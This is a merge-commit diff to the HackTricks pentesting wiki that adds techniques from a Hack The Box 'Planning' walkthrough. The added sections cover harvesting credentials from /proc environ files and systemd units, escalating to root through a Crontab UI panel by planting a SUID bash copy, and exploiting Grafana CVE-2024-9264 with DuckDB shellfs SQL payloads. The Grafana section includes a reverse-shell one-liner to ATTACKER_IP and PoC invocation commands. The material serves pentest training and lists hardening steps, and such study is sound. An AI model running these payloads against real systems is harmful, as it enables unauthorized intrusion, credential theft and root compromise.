Merge pull request #1403 from HackTricks-wiki/update_HTB_Planning__Grafana_CVE-2024-9264_to_Container_R_20250913_182406

HTB Planning Grafana CVE-2024-9264 to Container Root, Env-Cr...
This commit is contained in:
SirBroccoli 2025-09-30 12:08:16 +02:00 committed by GitHub
commit 18df7fbb0f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
3 changed files with 145 additions and 3 deletions

View File

@ -77,8 +77,54 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected). If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
## Harvesting credentials from process environment (containers included)
When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
Quick wins
- Dump your current process env: `env` or `printenv`
- Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'`
- Add `strings -z /proc/<PID>/environ` if `tr`/`sed` arent handy
- In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ`
What to look for
- App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`)
- API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR`
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
## Systemd-stored credentials in unit files (Environment=)
Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them:
```bash
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
```
Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers)
- Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotate leaked passwords discovered during tests
## References ## References
- [0xdf HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) - [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)

View File

@ -376,6 +376,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
## Scheduled/Cron jobs ## Scheduled/Cron jobs
### Crontab UI (alseambusher) running as root web-based scheduler privesc
If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate.
Typical chain
- Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
- Find credentials in operational artifacts:
- Backups/scripts with `zip -P <password>`
- systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
- Tunnel and login:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
- Create a high-priv job and run immediately (drops SUID shell):
```bash
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```
- Use it:
```bash
/tmp/rootshell -p # root shell
```
Hardening
- Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions
- Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords
- Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile
- Enable audit/logging for on-demand job executions
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
```bash ```bash
@ -1716,6 +1749,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## References ## References
- [0xdf HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)

View File

@ -10,7 +10,66 @@
- By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`** - By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`**
- `select user,password,database from data_source;` - `select user,password,database from data_source;`
---
## CVE-2024-9264 SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafanas experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.
Impact
- Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.
- Preconditions commonly met in real deployments:
- SQL Expressions enabled: `expressions.enabled = true`
- `duckdb` binary present in PATH on the server
Quick checks
- In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm:
- `expressions.enabled` is true
- Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc.
- Shell on host: `which duckdb` must resolve for the exploit path below.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
2) Read back the temp file using `read_blob`
Example SQL Expressions payloads that get passed to DuckDB:
```sql
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
```
Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.
One-liner reverse shell example
```bash
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
```
Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`.
Automated PoC
- Public PoC (built on cfreals ten framework):
- [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)
Usage example
```bash
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
```
If output shows `uid=0(root)`, Grafana is running as root (common inside some containers).
## References
- [Grafana Advisory CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/)
- [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html)
- [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264)
- [cfreal/ten framework](https://github.com/cfreal/ten)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}